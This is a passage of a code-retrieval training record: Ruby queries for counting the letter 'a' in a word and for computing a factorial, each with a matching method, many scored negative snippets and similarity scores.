true, false)\n y.nil? ? nil : y - x\n end", "def next\n if @next.is_a? TokenSource\n @next = @next.next\n return @next \n end\n @next\n end", "def next()\n\n @filehandler.pos = @list_of_positions[@current_iteration]\n\n if @list_of_positions.length > @current_iteration\n @current_iteration += 1\n end\n\n make_entry()\n\n end", "def process_skipped_lines(lines); end", "def next\n connection.write(\"next\")\n end", "def next\n connection.write(\"next\")\n end", "def skip_next(xml, tag_name)\n seek_to_tag(xml, tag_name) or return false\n xml.read\nend", "def skipped?; end", "def skipped?; end", "def skipped?; end", "def skipped?; end", "def continue!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 38 )\n\n type = CONTINUE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 159:12: 'continue'\n match( \"continue\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 38 )\n\n end", "def skip\n @skip = true\n end", "def continue!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n type = CONTINUE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 330:11: 'continue'\n match( \"continue\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end", "def get_next\n\t\t\n\tend", "def read_next_command\n\n\t\tif [email protected]\n\t\t\[email protected]\n\t\telse\n\t\t\[email protected]\n\t\tend\n\n\tend", "def prev_line; end", "def skip!\n @skip ||= true\n end", "def next_line\n CSI + 'E' + column(1)\n end", "def next\n @next && @next.value\n end", "def next\n raise NotImplemetedError\n end", "def parse_loop_skip\n if peek?(:KW_BREAK)\n token = expect(:KW_BREAK)\n skip = StmtBreak.new(token, @curr_parsed_loop)\n @loop_skips << skip\n else\n token = expect(:KW_CONTINUE)\n skip = StmtContinue.new(token, @curr_parsed_loop)\n @loop_skips << skip\n end\n\n skip\n end", "def next\n @source.next\n @source.trace\n end", "def next_token\n tokens.shift\n end", "def skip(a_line)\n @line_cnt ||= 0\n @line_cnt += 1\n 1 == @line_cnt ||\n a_line.empty? ||\n a_line.strip.start_with?('#')\n end", "def get_next()\n\t\t\treturn @next\n\t\tend", "def next\n self.offset(1)\n end", "def process_new_line\n @status.line += 1\n\n @skip_next = true if ((@cur_char == \"\\n\" && @next_char == \"\\r\") ||\n (@cur_char == \"\\r\" && @next_char == \"\\n\"))\n end", "def crawlNext(&blk)\r\n if @toCrawl.empty?\r\n return false\r\n end\r\n [email protected]()\r\n crawlOne(crawlThis,&blk)\r\n return true\r\n end", "def readAfterSkip()\n r = nil ;\n while(r = @strm.gets())\n break if (!(r =~ /errors/ || r =~ /warnings/)) ;\n end\n return r ;\n end", "def next_line(input=[])\r\n @tokens = input\r\n @column = -1\r\n @line += 1\r\n end", "def skipped!; end", "def skip_leader\n if @header then\n data = ''\n while s = @stream.gets(@header)\n data << s\n if data.split(/[\\r\\n]+/)[-1] == @header then\n @stream.ungets(@header)\n return true\n end\n end\n # @header was not found. For safety,\n # pushes back data with removing white spaces in the head.\n data.sub(/\\A\\s+/, '')\n @stream.ungets(data)\n return nil\n else\n @stream.skip_spaces\n return nil\n end\n end", "def get_next\n return if eof?\n\n @buffer << @io.gets if @buffer.empty?\n\n until @io.eof?\n line = @io.gets\n next unless line\n\n if @parser.start_new?(line) || @buffer.empty?\n @buffer << line\n break\n else\n @buffer.last << line\n end\n end\n\n return if @buffer.empty?\n @parser.parse(@buffer.slice!(0)) || self.get_next\n end", "def command_skip\r\n @index += 1 while @list[@index + 1].indent > @indent\r\n end", "def each(chr = nil, start = nil, stop = nil)\n skipped = 0\n \n query_lines(chr, start, stop) do |line|\n # Skip comment and track lines\n next if line.start_with?('#','@','track') or line.chomp.empty?\n\n begin\n yield parse(line)\n rescue EntryFileError\n skipped += 1\n end\n end\n \n skipped\n end", "def next\n if self.last?\n first_in_section\n else lower_item\n end\n end" ]
[ "0.73528796", "0.70547456", "0.69377375", "0.69377375", "0.6892023", "0.6636262", "0.6636262", "0.6536763", "0.65288407", "0.65288407", "0.6528184", "0.6528184", "0.641257", "0.6408983", "0.63588154", "0.631785", "0.63095146", "0.62650967", "0.62303585", "0.61642766", "0.61642766", "0.6160652", "0.6160652", "0.6160376", "0.61387724", "0.6093817", "0.60765046", "0.6028973", "0.6019641", "0.6005249", "0.5978881", "0.5978881", "0.59624994", "0.59624994", "0.5961512", "0.59611696", "0.59611696", "0.59511083", "0.5945419", "0.59368074", "0.5935971", "0.59348655", "0.5931265", "0.5927784", "0.5916769", "0.59133106", "0.5901105", "0.58933157", "0.58892834", "0.588508", "0.5877152", "0.587347", "0.58647984", "0.5863368", "0.58542156", "0.58530897", "0.5841469", "0.58316857", "0.58316857", "0.5831653", "0.58269715", "0.5826192", "0.58232605", "0.5817024", "0.5812878", "0.58092165", "0.5805342", "0.5800674", "0.5796653", "0.5796653", "0.5789115", "0.5782574", "0.5782574", "0.5782574", "0.5782574", "0.5778688", "0.5773246", "0.5771307", "0.57549256", "0.5736552", "0.5729235", "0.5726229", "0.57238656", "0.57160753", "0.57049567", "0.56915706", "0.5689008", "0.5687526", "0.5685788", "0.56827027", "0.5676881", "0.5674551", "0.56613886", "0.5634347", "0.5629742", "0.56206405", "0.56180304", "0.56135106", "0.559915", "0.5590737", "0.55708736" ]
0.0
-1
Write a method count_a(word) that takes in a string word and returns the number of a's in the word. The method should count both lowercase (a) and uppercase (A)
def count_a(word) count = 0 i = 0 while i < word.length char = word[i] if char == "a" || char == "A" count += 1 end i += 1 end return count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count_a(word)\n\tcounter = 0\n \ti = 0\n \twhile i < word.length\n if word[i] == \"a\" || word[i] == \"A\"\n counter += 1\n end\n i += 1\n end\n return counter\nend", "def count_a(word)\n counter = 0\n i = 0\n while i < word.length\n if word[i] == 'a' || word[i] == 'A'\n counter += 1\n end\n i += 1\n end\n return counter\nend", "def count_a(word)\n i = 0\n count = 0\n while( i < word.length)\n if(word[i] == \"a\" or word[i] == \"A\")\n count += 1\n end\n i+=1\n end\n return count\n\nend", "def count_a(word)\n count = 0\n i = 0\n\n while i < word.length\n if word[i] == 'a' || word[i] == 'A'\n count += 1\n end\n i += 1\n end\n\n return count\nend", "def count_a(word)\n count = 0\n \n i = 0 \n while i < word.length\n char = word[i]\n \n if char == \"a\"\n count += 1\n \n elsif char == \"A\"\n count += 1\n end\n \n i += 1\n end\n \n return count\nend", "def count_a(word)\n\n count = 0\n i = 0\n while i < word.length \n if word[i] == 'a' || word[i] == 'A'\n count += 1\n end\n \n i += 1\n end\n return count\nend", "def count_a(word)\n count = 0\n \n i = 0\n while i < word.length\n char = word[i]\n \n if char == \"a\" || char == \"A\"\n count += 1\n end\n \n i += 1\n end \n \n return count\nend", "def str_count(word, letter)\n p word.count(letter)\nend", "def str_count(word, letter)\n # Code here\n word.count(letter)\nend", "def countA(string)\n counter = 0\n string.each_char do |char|\n if char == \"a\"\n counter +=1\n end\n end\n return counter\nend", "def count_letters(word)\r\n\r\n end", "def letter_counts(word)\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def count_as(string)\n string_array = string.split(\"\")\n count = 0\n\n string_array.each do |letter|\n if letter == \"a\"\n count += 1\n end\n end\n\n count\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def get_count(input_str)\n input_str.downcase.count(\"aeiou\")\nend", "def getCount(inputStr)\n inputStr.downcase.count(\"aeiou\")\nend", "def count_upcased_letters(string)\n string.chars.count { |character| /[A-Z]/.match character }\nend", "def letter_case_count(str)\n lowercase_str = 'a-z'\n uppercase_str = 'A-Z'\n neither_str = '^A-Za-z'\n\n lowercase_count = str.count(lowercase_str)\n uppercase_count = str.count(uppercase_str)\n neither_count = str.count(neither_str)\n\n puts \"{ lowercase: #{lowercase_count}, uppercase: #{uppercase_count}, neither: #{neither_count} }\"\nend", "def letter_case_count(string)\n counter = {}\n\n counter[:lowercase] = string.count('a-z')\n counter[:uppercase] = string.count('A-Z')\n counter[:neither] = string.count('^a-zA-Z')\n\n counter\nend", "def letter_case_count(string)\n uppercase_count = string.count(string.upcase)\n lowercase_count = string.count(string.downcase)\n\n hash = {\n :lowercase => lowercase_count,\n :uppercase => uppercase_count,\n }\n\nend", "def letter_case_count(string)\n letter_count = { lowercase: 0, uppercase: 0, neither: 0 }\n letter_count[:lowercase] = string.count('a-z')\n letter_count[:uppercase] = string.count('A-Z')\n letter_count[:neither] = string.count('^a-z', '^A-Z')\n letter_count\nend", "def letter_case_count(string)\n lower_c_count = string.count('a-z')\n upper_c_count = string.count('A-Z')\n other_c_count = string.count('^a-zA-Z')\n { lowercase: lower_c_count, uppercase: upper_c_count, neither: other_c_count }\nend", "def letter_case_count(string)\n uppercase_counter = 0\n lowercase_counter = 0\n neither_counter = 0\n string.chars.each do |letter|\n case letter\n when /[A-Z]/ then uppercase_counter += 1\n when /[a-z]/ then lowercase_counter +=1\n else neither_counter += 1\n end\n end\n { lowercase: lowercase_counter, uppercase: uppercase_counter, neither: neither_counter }\nend", "def custom_count(string, search_characters)\n # Return the number of total times that\n # the search character are in the string\n\n # word = string.count(\"#{search_characters}\")\n # word\n count = 0\n word = string.downcase\n word.each_char do |char|\n if search_characters.include?(char)\n count += 1\n end\n end\n count\nend", "def letter_case_count(string)\n counts = {}\n \n counts[:lowercase] = string.count('a-z')\n counts[:uppercase] = string.count('A-Z')\n counts[:neither] = string.count('^a-zA-Z')\n counts\nend", "def letter_case_count(string)\n hash = {}\n hash[:lowercase] = string.count('a-z')\n hash[:uppercase] = string.count('A-Z')\n hash[:neither] = string.count('^a-zA-Z')\n hash\nend", "def count_char(string, char)\n string.downcase.count(char.downcase)\nend", "def letter_case_count(str)\n letter_count = {}\n letter_count[:lowercase] = str.count('a-z')\n letter_count[:uppercase] = str.count('A-Z')\n letter_count[:neither] = str.count('^a-zA-z')\n letter_count\nend", "def letter_case_count(string)\n case_count = { lowercase: 'a-z', uppercase: 'A-Z', neither: '^a-zA-Z' }\n case_count.map { |type, pattern| [type, string.count(pattern)] }.to_h\nend", "def letter_case_count(str)\n letter_case_hash = {}\n letter_case_hash[:lowercase] = str.count('a-z')\n letter_case_hash[:uppercase] = str.count('A-Z')\n letter_case_hash[:neither] = str.count('^a-zA-z')\n letter_case_hash\nend", "def count_uppercase_letters(string)\n return string.scan(/[A-Z]/).length\nend", "def letter_case_count(string)\n counts = {}\n characters = string.chars # breaks up string into array of strings\n counts[:lowercase] = characters.count {|char| char =~ /[a-z]/}\n counts[:uppercase] = characters.count {|char| char =~ /[A-Z]/}\n counts[:neither] = characters.count {|char| char =~ /[^A-Za-z]/}\n counts\nend", "def count_upcased_letters(string)\n string.scan(/\\p{Upper}/).count\nend", "def letter_case_count(string)\n counts = {}\n characters = string.chars\n counts[:lowercase] = characters.count { |char| char =~ /[a-z]/ }\n counts[:uppercase] = characters.count { |char| char =~ /[A-Z]/ }\n counts[:neither] = characters.count { |char| char =~ /[^A-Za-z]/ }\n counts\nend", "def letter_case_count(string)\n counts = {}\n characters = string.chars\n counts[:lowercase] = characters.count { |char| char =~ /[a-z]/ }\n counts[:uppercase] = characters.count { |char| char =~ /[A-Z]/ }\n counts[:neither] = characters.count { |char| char =~ /[^A-Za-z]/ }\n counts\nend", "def count_char(string, char)\n string.downcase.chars.count(char.downcase)\nend", "def count_e(word)\n puts word.count('e')\nend", "def letter_case_count(string)\n count = {}\n string.split.each do |word|\n word.chars.each do |char|\n if char == char.downcase\n count[lowercase:] += 1\n elsif char == char.upcase\n count[uppercase:] += 1\n else\n count[neither:] += 1\n end\n end\n end\ncount\nend", "def letter_case_count(str)\n h = { lowercase: 0, uppercase: 0, neither: 0 }\n str.each_char do |c|\n if c.between?('a', 'z')\n # if char =~ /[a-z]/\n h[:lowercase] += 1\n elsif c.between?('A', 'Z')\n # elsif char =~ /[A-Z]/\n h[:uppercase] += 1\n else\n h[:neither] += 1\n end\n end\n h\nend", "def double_letter_count(string)\n count = 0\n string.split.each { |word| count += count(word) }\n count\nend", "def letter_case_count(string)\n counts = {}\n characters = string.chars\n counts[:lowercase] = characters.count { |char| char =~ /[a-z]/ }\n counts[:uppercase] = characters.count { |char| char =~ /[A-Z]/ }\n counts[:neither] = characters.count { |char| char =~ /[^A-Za-z]/ }\nend", "def letter_case_count(string)\n result = {}\n result[:lowercase] = string.count('a-z')\n result[:uppercase] = string.count('A-Z')\n result[:neither] = string.length - result.values.inject(:+)\n result\nend", "def letter_case_count(str)\n h = { lowercase: 0, uppercase: 0, neither: 0 }\n str.each_char do |c|\n if c.between?('a', 'z')\n h[:lowercase] += 1\n elsif c.between?('A', 'Z')\n h[:uppercase] += 1\n else\n h[:neither] += 1\n end\n end\n h\nend", "def getCount(inputStr)\n inputStr.chars.count{|letter| letter=~/[aeiou]/}\nend", "def letter_case_count(string)\n result = {}\n arr = string.chars\n \n result[:lowercase] = arr.count { |char| char =~ /[a-z]/ }\n result[:uppercase] = arr.count { |char| char =~ /[A-Z]/ }\n result[:neither] = arr.count { |char| char =~ /[^a-zA-z]/ }\n result\nend", "def get_count(input)\n input.count('aeiou')\nend", "def camelcase(s)\n string = s.split /(?=[A-Z])/\n count = 0\n string.each do |w|\n count +=1\n end\n count\nend", "def getCount(s)\n s.count('aeiou')\nend", "def get_count(input_str)\n input_str.count \"aeiou\"\nend", "def letter_case_count(string)\n h = {lowercase: 0, uppercase: 0, neither: 0}\n \n string.chars.each do |char|\n if char =~ /[a-z]/\n h[:lowercase] += 1\n elsif char =~ /[A-Z]/\n h[:uppercase] += 1\n else\n h[:neither] += 1\n end\n end\n\n h\nend", "def letter_case_count(str)\n hsh = { lowercase: 0,\n uppercase: 0,\n neither: 0 }\n str.chars.each do |char|\n if char.ord >= 'a'.ord && char.ord <= 'z'.ord\n hsh[:lowercase] += 1\n elsif char.ord >= 'A'.ord && char.ord <= 'Z'.ord\n hsh[:uppercase] += 1\n else\n hsh[:neither] += 1\n end\n end\n hsh\nend", "def num_vowels(str)\n # your code goes here\n str.downcase!\n str.count(\"aeiou\")\nend", "def calc_camel_case(\n string:\n )\n string_array = string.split('')\n result = (string_array[0].eql? string_array[0].downcase) ? 1 : 0\n # scan all characters for upper case\n string_array.each { |char| result += 1 if char.eql? char.upcase }\n # Return result\n result\nend", "def count_vowels(string)\n string.downcase.count('aeiou')\nend", "def letter_case_count(string)\n hash = { lowercase: 0, uppercase: 0, neither: 0 }\n str_arr = string.chars\n str_arr.each do |char|\n if char =~ /[a-z]/\n hash[:lowercase] += 1\n elsif char =~ /[A-Z]/\n hash[:uppercase] += 1\n else\n hash[:neither] += 1\n end\n end\n hash\nend", "def letter_case_count(str)\n count_hash = { \n lowercase: 0,\n uppercase: 0,\n neither: 0\n }\n\n str.chars.each do |character|\n if /[[:lower:]]/.match(character)\n count_hash[:lowercase] += 1\n elsif /[[:upper:]]/.match(character)\n count_hash[:uppercase] += 1\n else\n count_hash[:neither] += 1\n end\n end\n\n count_hash\nend", "def letter_case_count(str)\n count_hash = { \n lowercase: 0,\n uppercase: 0,\n neither: 0\n }\n\n str.chars.each do |character|\n if /[[:lower:]]/.match(character)\n count_hash[:lowercase] += 1\n elsif /[[:upper:]]/.match(character)\n count_hash[:uppercase] += 1\n else\n count_hash[:neither] += 1\n end\n end\n\n count_hash\nend", "def letter_case_count(string)\n hash = Hash.new(0)\n string.split('').each do |character|\n if character.match(/[a-z]/)\n hash[:lowercase_letters] += 1\n elsif character.match(/[A-Z]/)\n hash[:uppercase_letters] += 1\n elsif character.match(/\\d/)\n hash[:other_char] += 1\n elsif character.match(/\\W/)\n hash[:other_char] += 1\n end\n end\n hash\nend", "def count_letters (name, counts)\n sum = 0\n $alphabet.each_with_index { |val, index| counts[index] += name.count(val) }\n counts\nend", "def letter_case_count(string)\n result = { lowercase: 0, uppercase: 0, neither: 0 }\n\n string.each_char do |char|\n case char\n when ('a'..'z') then result[:lowercase] += 1\n when ('A'..'Z') then result[:uppercase] += 1\n else result[:neither] += 1\n end\n end\n\n result\nend", "def vowel_count(str)\n str.downcase.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.count 'aeiouAEIOU'\nend", "def count_words_caseins(input)\r\n # the only difference from the previous method is that we downcase the user input here\r\n words = input.downcase.split(\" \")\r\n wordcounter = {}\r\n for word in words\r\n if wordcounter[word] == nil\r\n wordcounter[word] = 1\r\n else\r\n wordcounter[word] += 1\r\n end\r\n end\r\n wordcounter.each do |word, count|\r\n puts \"#{word} #{count}\"\r\n end\r\nend", "def find_frequency(sentence, word) \nsentence.downcase.split.count(word.downcase)\nend", "def letter_counts(word) =\n word.chars.each_with_object(Hash.new(0)) { |c, counts| counts[c] += 1 }", "def letter_case_count(string)\n final = { lowercase: 0, uppercase: 0, neither: 0 }\n string.split('').each do |el|\n final[:neither] += 1 unless ('a'..'z').include?(el.downcase)\n final[:lowercase] += 1 if el.downcase == el && ('a'..'z').include?(el.downcase)\n final[:uppercase] += 1 if el.upcase == el && ('a'..'z').include?(el.downcase)\n end\n final\nend", "def letter_case_count(string)\n hash = { lowercase: 0, uppercase: 0, neither: 0 }\n str_arr = string.chars\n counter = 0\n while counter < str_arr.size\n if str_arr[counter] =~ /[a-z]/\n hash[:lowercase] += 1\n elsif str_arr[counter] =~ /[A-Z]/\n hash[:uppercase] += 1\n else\n hash[:neither] += 1\n end\n counter += 1\n end\n hash\nend", "def letter_case_count(str)\n result = {}\n characters = str.chars\n result[:lowercase] = characters.count { |ch| ch =~ /[a-z]/ }\n result[:uppercase] = characters.count { |ch| ch =~ /[A-Z]/ }\n result[:neither] = characters.count { |ch| ch =~ /[^A-Za-z]/ }\n\n result\nend", "def letter_case_count3(string)\n counts = {}\n characters = string.chars\n counts[:lowercase] = characters.count { |char| char =~ /[a-z]/ }\n counts[:uppercase] = characters.count { |char| char =~ /[A-Z]/ }\n counts[:neither] = characters.count { |char| char =~ /[^A-Za-z]/ }\n counts\nend", "def letter_case_count(string)\n count = { lowercase: 0, uppercase: 0, neither: 0 }\n\n string.chars.each do |char|\n if (\"A\"..\"Z\").include?(char)\n count[:uppercase] += 1\n elsif (\"a\"..\"z\").include?(char)\n count[:lowercase] += 1\n else\n count[:neither] += 1\n end\n end \n count\nend", "def count_letters_in_word(word)\n letters = Hash.new(0)\n word.chars.each { |letter| letters[letter] += 1 }\n letters\nend", "def letter_case_count(string)\n hash = {}\n string.chars.each do |char|\n case char\n when char =~ /[a-z]/\n if hash.keys.include?(:lowercase)\n hash[:lowercase] += 1\n else\n hash[:lowercase] = 1\n end\n when char =~ /[A-Z]/\n if hash.keys.include?(:uppercase)\n hash[:uppercase] += 1\n else\n hash[:uppercase] = 1\n end\n else\n if hash.keys.include?(:neither)\n hash[:neither] += 1\n else\n hash[:neither] = 1\n end\n end\nend\n\nletter_case_count('abCdef 123') == { lowercase: 5, uppercase: 1, neither: 4 }\nletter_case_count('AbCd +Ef') == { lowercase: 3, uppercase: 3, neither: 2 }\nletter_case_count('123') == { lowercase: 0, uppercase: 0, neither: 3 }\nletter_case_count('') == { lowercase: 0, uppercase: 0, neither: 0 }", "def letter_case_count(str)\r\n lower = str.chars.select{|char| char.match?(/[a-z]/)}.size\r\n upper = str.chars.select{|char| char.match?(/[A-Z]/)}.size\r\n neither = str.chars.select{|char| char.match?(/[^A-Z]/i)}.size\r\n hash = {lower: lower, upper: upper, neither: neither}\r\nend", "def letter_case_count(str)\n letter_case_counts = { lowercase: 0, uppercase: 0, neither: 0 }\n\n str.each_char do |chr|\n if chr.match?(/[A-Z]/)\n letter_case_counts[:uppercase] += 1\n elsif chr.match?(/[a-z]/)\n letter_case_counts[:lowercase] += 1\n else\n letter_case_counts[:neither] += 1\n end\n end\n\n letter_case_counts\nend", "def LetterCountI(str)\n g_word, g_count = '', 0\n str.split.each do |word|\n word.chars.each do |char|\n if word.downcase.count(char) > g_count\n g_count = word.downcase.count(char)\n g_word = word\n end\n end\n end\n\n g_count <= 1 ? -1 : g_word\nend", "def letter_case_count_bk(str)\n res = {}\n res[:lowercase] = str.count(\"a-z\")\n res[:uppercase] = str.count(\"A-Z\")\n res[:neither] = str.size() - (res[:lowercase] + res[:uppercase])\n res\nend", "def letter_count(str)\n counts = Hash.new(0)\n str.each_char do |char|\n counts[char.downcase] += 1\n end\n return counts\nend", "def count_letters(word)\r\n\r\n letters = Hash.new\r\n\r\n word.gsub( /([a-z])/i ) do |letter|\r\n\r\n letter.downcase!\r\n\r\n if letters.key?( letter )\r\n letters[letter] = letters[letter] + 1\r\n else\r\n letters[letter] = 1\r\n end\r\n\r\n end\r\n \r\n return letters\r\n\r\nend", "def count_vowels(word)\nend", "def letter_counts(word)\n counter = Hash.new(0)\n word.chars.each do |x|\n counter[x] += 1\n end\n counter\nend", "def letter_counts(word)\n count = Hash.new(0)\n word.each_char { |char| count[char] += 1}\n count\nend", "def letter_case_count(str)\n counts = { lowercase: 0, uppercase: 0, neither: 0 }\n str.chars.each do |char|\n if char.match?(/[a-z]/)\n counts[:lowercase] += 1\n elsif char.match?(/[A-Z]/)\n counts[:uppercase] += 1\n else\n counts[:neither] += 1\n end\n end\n\n counts\nend", "def getCount(inputStr)\n return inputStr.count(\"aeiou\")\nend", "def word_count_by_letter(letter)\n\t\tputs \"#{@dictionary_analyzer.word_count_by_letter(letter, @dictionary)} words begin with the letter #{letter}\"\n\tend", "def count_letters_in_word(word)\n return word.length\n end", "def getCount(inputStr)\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n count = 0\n \n letters = inputStr.split(\"\")\n letters.each { |letter|\n if vowels.include?(letter)\n count += 1\n end\n }\n count\nend", "def case_count(string)\n entries = {}\n entries[:lowercase] = string.chars.count { |char| char =~ /[a-z]/ }\n entries[:uppercase] = string.chars.count { |char| char =~ /[A-Z]/ }\n entries[:neither] = string.chars.count { |char| char =~ /[^A-Za-z]/ }\n entries\nend", "def letter_counts(word)\n counter = Hash.new(0)\n word.split('').each do |letter| #could also do each_char instead of split\n counter[letter] += 1\n end\n counter\nend", "def letter_counts(word)\n hash = Hash.new(0)\n word.chars {|letter| hash[letter] += 1}\n hash\nend", "def find_frequency(sentence, word)\n\tsentence.downcase.split.count(word.downcase)\n\nend", "def getCount(str)\n str.count(\"AEIOUaeiou\")\nend", "def count_vowels(str)\n str.count(\"aeoui\")\nend", "def vowel_count (str)\n sentence = str.downcase\n letters = sentence.split(\"\")\n count = 0\n vowels = %w{a e i o u}\n letters.each do |letter|\n if vowels.include?(letter) \n count += 1\n end\n end\n puts count\nend", "def find_frequency(sentence, word)\n sentence.split.map { |w| w.downcase }.count(word.downcase)\nend", "def vowel_count(string)\n\t\n\tstring.downcase.count \"aeiou\"\n\t\nend", "def character_count(str)\n letters = Hash.new(0)\n str.downcase.each_char {|char| letters[char] += 1}\n letters\nend" ]
[ "0.8507787", "0.83433735", "0.8239746", "0.82122564", "0.8187825", "0.8124194", "0.8091351", "0.77053815", "0.76894563", "0.76484746", "0.75016713", "0.7400636", "0.7376295", "0.7376295", "0.73643357", "0.72911525", "0.7268074", "0.72583455", "0.7255492", "0.72534347", "0.7253158", "0.7240712", "0.72336805", "0.7227917", "0.7206879", "0.7143889", "0.7133454", "0.7128149", "0.71213955", "0.7113485", "0.7112653", "0.70898086", "0.7085897", "0.7075543", "0.70609754", "0.7025913", "0.7025913", "0.7025243", "0.7021514", "0.70158297", "0.70050865", "0.69950455", "0.69929755", "0.6987498", "0.69135076", "0.6901812", "0.6868362", "0.6857817", "0.68575907", "0.68504333", "0.68470246", "0.6834592", "0.6834481", "0.68312234", "0.6827862", "0.6822871", "0.68163955", "0.6807636", "0.6807636", "0.6798062", "0.6795758", "0.6791886", "0.67897683", "0.67825186", "0.67825186", "0.6780152", "0.6777016", "0.6773619", "0.6772111", "0.67632675", "0.676059", "0.6756543", "0.6756091", "0.6752839", "0.67501426", "0.67444694", "0.6741344", "0.67328274", "0.6726357", "0.6719503", "0.670558", "0.6676974", "0.6670864", "0.6663246", "0.66630167", "0.66613966", "0.66602015", "0.6651827", "0.66299343", "0.66288644", "0.66250175", "0.66207856", "0.6615815", "0.66123796", "0.66123545", "0.6603899", "0.66032565", "0.6598185", "0.6586766", "0.6568797" ]
0.81031877
6
15 Write a method factorial(num) that takes in a number num and returns the product of all numbers from 1 up to and including num.
def factorial(num) product = 1 i = 1 while i <= num product *= i #shorthand for product = product * i i += 1 end return product end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def factorial(num)\n product = num\n (1...num).each{|n| product *= n}\n product\nend", "def factorial(num)\n product = 1\n for factor in 1..num\n product *= factor\n end\n product\nend", "def factorial(num)\n\t(1..num).reduce(1,:*) \nend", "def factorial(num)\n\tproduct = 1\n\twhile num > 1\n\t\tproduct = product*num\n\t\tnum -= 1\n\tend\n\tproduct\nend", "def factorial(num)\n(1..num).reduce(:*)\nend", "def factorial(num)\n\tproduct = 1\n\t1.upto(num) do |i|\n\t\tproduct *= i\n\tend\n\tputs product\nend", "def factorial(num)\n (1..num).inject(1) {|a, b| a * b}\nend", "def factorial(num)\n product = 1\n (1..num).each {|n| product *= n}\n product\nend", "def factorial(num)\n product = 1\n\n i = 2 # 1 * 2 = 2, so just start from 2 and skip 1 as it doesn't matter\n while i <= num\n product *= i\n\n i += 1\n end\n\n return product\nend", "def factorial(num)\n product = 1\n i = 1\n while i <= num\n product *= i\n i += 1\n end\n\n return product\nend", "def factorial_of num \n\t(2..num).inject(1) {|product, x| product * x }\nend", "def factorial(num)\n\tproduct = num\n \titer = num-1\n \twhile(iter>1)\n \tproduct *=iter\n \titer-= 1\n end\n return product\nend", "def factorial(num)\n result = 1\n (2..num).each do |number|\n result *= number\n end\n result\nend", "def factorial(num)\n fact = 1\n (1..num).each { |i| fact *= i }\n return fact\nend", "def factorial(num)\n product = 1 \n\n i = 1\n while i <= num\n product *= i\n \n i += 1\n end \n\n return product\nend", "def factorial num\n\tfactorial = 1\n\twhile num > 0\n\t\tfactorial *= num\n\t\tnum -= 1\n\tend\n\treturn factorial\nend", "def factorial(num)\n product = 1\n\n while num > 0\n product *= num\n num -= 1\n end\n \n return product\nend", "def factorial(num)\r\n result = 1;\r\n for i in 1..num\r\n result *= i\r\n end\r\n puts result\r\nend", "def factorial(num)\n result = 1\n (1..num).each {|num| result *=num}\n result\nend", "def factorial(num)\n product = 1\n i = 1\n\n while i <= num\n product *= i\n i += 1\n end\n\n return product\nend", "def factorial(number)\n if number <= 1\n 1\n else\n number.downto(1).reduce(:*)\n end\nend", "def factorial(number)\n if number <= 1\n 1\n else\n (1..number).each.reduce(:*)\n end\nend", "def factorial num\n product = 1\n num.downto(2) do |n|\n product *= n\n end\n return product\nend", "def factorial(num)\n # Your code goes here\n (1..num).inject(1) { |a , b| a * b }\nend", "def factorial(num)\n total=1\n for i in (1..num)\n total = total * i\n end\n total\nend", "def factorial(num)\n\treturn nil if num < 0\n\treturn 1 if num.equal?(0)\n\ti = 1\n\ttotal = 1\n\tnum.times do\n\t\ttotal *= i\n\t\ti += 1\n\tend\n\treturn total\nend", "def factorial(number) \n if number == 0\n return 1\n end\n \n product = 1\n \n for number in (1..number)\n product = product * number\n \t\n end\n \n return product\n end", "def factorial(number)\n number.downto(1).reduce(:*)\nend", "def factorial(num)\np = 1\n(1..num).each { |c| p *= c }\np\nend", "def factorial(number)\n (1..number).each do |n|\n total *= n\n end\nend", "def Factorial(num)\ncurrent = num\nproduct = 1\n\n\twhile current > 0\n\t\tproduct = product * current\n\t\tcurrent -= 1\n\tend\n\tproduct\nend", "def factorial(n)\nend", "def factorial(number)\n product = 1\n (1..number).each do |n|\n product *= n\n end\n return product\nend", "def factorial(num)\n counter = 1\n product = 1\n while counter <= num\n product = counter * product\n counter += 1\n end\n return product\nend", "def factorial(num)\n (1..num).to_a.reduce(:*)\nend", "def factorial(num)\n product = 1\n i = 1\n while i <= num\n product *= i # product = product * i\n i += 1\n end\nend", "def factorial(number)\n raise ArgumentError if number == nil\n return 1 if number == 0 || number == 1\n # raise NotImplementedError\n product = number #set the product, which will be returned, as number\n x = number #set another var as same value as number to start\n until x == 1\n product *= (x-1) #multiply the prduct by itself minues 1\n x -= 1 #subtract one from x\n end\n return product\nend", "def factorial(n)\r\n ret = 1\r\n for i in 1..n \r\n ret *= i\r\n end\r\n return ret\r\nend", "def factorial(num)\n\tif num <= 1\n\t\treturn 1\n\telse\n\t\tnum * factorial(num - 1)\n\tend\nend", "def factorial (number)\n if number == 0\n return 1\n else\n\n total = 1\n for i in 1..number\n total *= i\n i += 1\n end\n return total\n end\nend", "def factorial(num)\n output = 1\n (1..num).each {|el| output *= el}\n output\nend", "def factorial_n(num)\n result = 1\n num.times { |i| result *= i + 1 }\n result\nend", "def factorial(num)\n if num == 1\n 1\n else\n num * factorial(num - 1)\n end\nend", "def factorial(num)\n \n sum = 1\n i = 1 # 1. set a start njumber \n while i <= num # 2. set a stop number\n sum *= i\n i += 1 # 3. increment for iteration\n end\n return sum\nend", "def factorial(num)\n if num <= 1\n 1\n else\n num * factorial(num-1)\n end\nend", "def factorial(num)\ncurrent = num\nproduct = 1\n\n while current > 0\n product = product * current\n current -= 1\n end\n product\nend", "def factorial(num)\n i = num - 1\n out = num\n while i > 0\n out = out * i \n i -= 1\n end\n return out\nend", "def factorial(num)\n \n mult = 1\n i = 1\n \n 